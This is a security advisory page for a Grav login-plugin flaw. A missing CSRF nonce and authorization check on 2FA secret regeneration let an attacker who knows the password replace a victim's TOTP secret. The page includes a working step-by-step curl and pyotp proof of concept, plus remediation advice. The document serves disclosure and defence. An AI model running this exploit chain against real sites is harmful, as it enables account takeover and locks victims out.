GHSA-7mgc-c7pq-3rr3: CSRF

Published Sep 2, 2026
·
Updated

Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the login.regenerate2FASecret task which requires only $user->exists(), not $user->authorized can be called without a CSRF nonce. It overwrites the victim's twofasecret on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is reduced to password-only. The exploit was confirmed live after enabling 2FA to a user.

Details Four code locations in login plugin v3.8.10 enable the chain:

1. Session user set even with 2FA pending user/plugins/login/login.php - userLogin() assigns $session->user = $user before TOTP verification completes. This makes $this->grav['user'] point to the victim in the pending-challenge window.

2. taskRegenerate2FASecret - no authorization check user/plugins/login/classes/Controller.php

php public function taskRegenerate2FASecret() { $user = $this->grav['user']; if ($user->exists()) { // ← only checks exists(), NOT authorized() $secret = $twoFa->createSecret(); $user->twofasecret = $secret; // overwrites victim's secret on disk $user->save(); $jsonresponse = [ 'status' => 'success', 'image' => $image, 'secret' => trim(pregreplace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker ]; } }

3. No CSRF nonce required user/plugins/login/login.php - the task dispatch switch only validates twofacancel for nonce. regenerate2FASecret is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session.

PoC Confirmed live on this instance after enabling plugins.login.twofaenabled: true and configuring TOTP on the user account.

bash Step 1: Password-only login (lands in 2FA-pending; keep session cookie) LOGINPAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login") NONCE=$(echo "$LOGINPAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+') curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \ "http://127.0.0.1/grav/login" \ -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}"

Step 2: Regenerate the 2FA secret (NO nonce required) curl -s -b /tmp/2fa.jar \ "http://127.0.0.1/grav/login/task:login.regenerate2FASecret" {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}

Step 3: Compute TOTP from the attacker-chosen secret python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())" 152656

Step 4: Complete 2FA with attacker's TOTP code curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \ -d "task=login.twofa&2facode=152656"

Step 5: Verify - fully authenticated as victim curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout' Grav User Logout

Impact Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via $user->save(), locking them out of their own account.

The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting http://target/login/task:login.regenerate2FASecret on any attacker-controlled page would have their 2FA secret silently rotated.

Affected Software

1 affected componentFixes available
composer/getgrav/grav<2.0.4
2.0.4

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.4
  2. Configuration

    The issue was confirmed live after enabling `plugins.login.twofa_enabled: true`. Ensure 2FA is enabled globally (and for users) so the affected flow exists only when intended.

    Grav (login plugin) plugins.login.twofa_enabled = true/enable
  3. Configuration

    Patch the login plugin so `login.regenerate2FASecret`/`taskRegenerate2FASecret` is guarded: it currently requires no CSRF nonce and only checks `$user->exists()` (not `$user->authorized`). Update the controller/task dispatcher so the regeneration task requires proper authorization (e.g., `$user->authorized`) and requires/validates the `login-form-nonce` CSRF nonce before allowing 2FA secret regeneration.

    Grav (login plugin) taskRegenerate2FASecret CSRF/authorization protection = require
  4. Configuration

    Fix the logic in `user/plugins/login/login.php` where `userLogin()` assigns `$session->user = $user` before TOTP verification completes. Ensure the session user is not treated as an authenticated/active user during the pending-2FA window until TOTP verification succeeds.

    Grav (login plugin) 2FA enforcement during pending challenge = do not set session user before TOTP completion

Event History

Sep 2, 2026
Advisory Published
via GitHub·10:01 PM
Data Sourced
via GitHub·10:01 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which users are exposed?

Accounts with 2FA enabled are exposed if an attacker has the account’s correct username and password. The issue occurs during the period after password authentication succeeds but before TOTP verification is completed.

2

What does an attacker need to bypass the second factor?

The attacker needs valid account credentials and must invoke the 2FA-secret regeneration task while the account is in the pending 2FA challenge state. That task does not require the user to be authorized or provide a CSRF nonce, allowing the attacker to set a secret they control and generate a valid TOTP code.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203